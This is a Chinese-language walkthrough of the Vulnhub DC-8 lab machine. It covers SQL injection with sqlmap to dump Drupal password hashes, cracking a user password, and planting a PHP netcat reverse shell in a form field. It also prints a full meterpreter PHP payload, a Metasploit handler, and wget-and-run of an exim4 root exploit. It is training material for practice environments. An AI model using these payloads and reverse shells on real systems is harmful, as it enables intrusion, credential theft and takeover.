(Vulnhub练习)-- DC: 8渗透实战
字数 834 2025-08-24 16:48:07

DC-8 渗透实战教学文档

1. 环境准备

1.1 下载靶机

  • 下载地址: https://www.vulnhub.com/entry/dc-8,367/
  • 靶机类型: Vulnhub 练习环境

1.2 网络配置

  • 使用 netdiscover 扫描目标主机:
netdiscover -i eth0 -r 192.168.100.0/24
  • 目标主机IP: 192.168.100.160

2. 信息收集

2.1 自动化信息收集脚本

#!/usr/bin/bash
ip=192.168.100.$1
ping -c2 $ip &>/dev/null
if [ $? -eq 0 ]; then
    echo "$ip is up"
else
    echo "$ip is down"
    exit
fi
masscan --rate=10000 --ports 0-65535 $ip
nmap -A $ip
sleep 30
whatweb $ip
sleep 10
dirsearch -u $ip
sleep 5
nikto -h $ip
sleep 5
dirb http://$ip

2.2 执行信息收集

/home/xiaoxiaoran/shell/xinxi.sh 160

3. 漏洞发现与利用

3.1 SQL注入漏洞

  • 可疑URL:
    • http://192.168.100.160/?nid=1
    • http://192.168.100.160/?nid=2
    • http://192.168.100.160/?nid=3

3.2 使用sqlmap进行自动化注入

# 检测注入点
sqlmap -u http://192.168.100.160/?nid=2

# 获取当前数据库
sqlmap -u http://192.168.100.160/?nid=2 --current-db

# 获取表名
sqlmap -u http://192.168.100.160/?nid=2 -D d7db --tables

# 获取列名
sqlmap -u http://192.168.100.160/?nid=2 -D d7db -T users --columns

# 导出数据
sqlmap -u http://192.168.100.160/?nid=2 -D d7db -T users -C name,pass --dump

3.3 获取的凭据

admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

3.4 破解密码

  • 使用John the Ripper破解john用户的密码
  • 得到用户名密码: john / turtle

4. 获取Web Shell

4.1 登录后台

  • 使用获取的凭据登录网站后台

4.2 编辑PHP代码

  1. 找到可以编辑PHP代码的地方
  2. 在"Confirmation message"信息处设置:
    • Text format --> PHP
  3. 提交PHP反弹shell代码:
<p>flag</p><?php system("nc -e /bin/bash 192.168.100.143 1234");?>

4.3 监听反弹shell

nc -nvlp 1234

5. 使用Metasploit获取Meterpreter会话

5.1 生成PHP反向shell payload

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.100.143 LPORT=8080 -f raw > shell.php

5.2 创建资源文件php.rc

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.100.143
set LPORT 8080
exploit

5.3 启动监听

msfconsole -qr /home/xiaoxiaoran/shell/php.rc

5.4 上传并执行PHP payload

<p>flag</p>
/* <?php /**/ error_reporting(0);
$ip = '192.168.100.143';
$port = 8080;
if (($f = 'stream_socket_client') && is_callable($f)) {
    $s = $f("tcp://{$ip}:{$port}");
    $s_type = 'stream';
}
if (!$s && ($f = 'fsockopen') && is_callable($f)) {
    $s = $f($ip, $port);
    $s_type = 'stream';
}
if (!$s && ($f = 'socket_create') && is_callable($f)) {
    $s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
    $res = @socket_connect($s, $ip, $port);
    if (!$res) { die(); }
    $s_type = 'socket';
}
if (!$s_type) { die('no socket funcs'); }
if (!$s) { die('no socket'); }
switch ($s_type) {
    case 'stream': $len = fread($s, 4); break;
    case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) { die(); }
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
    switch ($s_type) {
        case 'stream': $b .= fread($s, $len-strlen($b)); break;
        case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
    }
}
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
    $suhosin_bypass=create_function('', $b);
    $suhosin_bypass();
} else { eval($b); }
die();

6. 提权

6.1 获取交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

6.2 查找SUID权限文件

find / -perm -u=s -type f 2>/dev/null
  • 发现exim4具有root权限

6.3 检查exim4版本

exim4 --version

6.4 搜索exim4漏洞

searchsploit exim 4.8

6.5 利用exim4漏洞提权

  1. 查看漏洞利用方法:
cat /usr/share/exploitdb/exploits/linux/local/46996.sh
  1. 将漏洞利用脚本复制到web目录:
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html/46996.sh
  1. 在靶机上下载并执行:
wget http://192.168.100.143/46996.sh
chmod +x 46996.sh
./46996.sh -m netcat
  1. 解决Windows/Linux换行符问题:
# 如果出现执行错误
set ff=unix  # 在vim中设置文件格式为Unix
# 重新上传执行

7. 获取flag

  • 成功提权后,在系统中查找并查看flag文件
DC-8 渗透实战教学文档 1. 环境准备 1.1 下载靶机 下载地址: https://www.vulnhub.com/entry/dc-8,367/ 靶机类型: Vulnhub 练习环境 1.2 网络配置 使用 netdiscover 扫描目标主机: 目标主机IP: 192.168.100.160 2. 信息收集 2.1 自动化信息收集脚本 2.2 执行信息收集 3. 漏洞发现与利用 3.1 SQL注入漏洞 可疑URL: http://192.168.100.160/?nid=1 http://192.168.100.160/?nid=2 http://192.168.100.160/?nid=3 3.2 使用sqlmap进行自动化注入 3.3 获取的凭据 3.4 破解密码 使用John the Ripper破解john用户的密码 得到用户名密码: john / turtle 4. 获取Web Shell 4.1 登录后台 使用获取的凭据登录网站后台 4.2 编辑PHP代码 找到可以编辑PHP代码的地方 在"Confirmation message"信息处设置: Text format --> PHP 提交PHP反弹shell代码: 4.3 监听反弹shell 5. 使用Metasploit获取Meterpreter会话 5.1 生成PHP反向shell payload 5.2 创建资源文件php.rc 5.3 启动监听 5.4 上传并执行PHP payload 6. 提权 6.1 获取交互式shell 6.2 查找SUID权限文件 发现exim4具有root权限 6.3 检查exim4版本 6.4 搜索exim4漏洞 6.5 利用exim4漏洞提权 查看漏洞利用方法: 将漏洞利用脚本复制到web目录: 在靶机上下载并执行: 解决Windows/Linux换行符问题: 7. 获取flag 成功提权后,在系统中查找并查看flag文件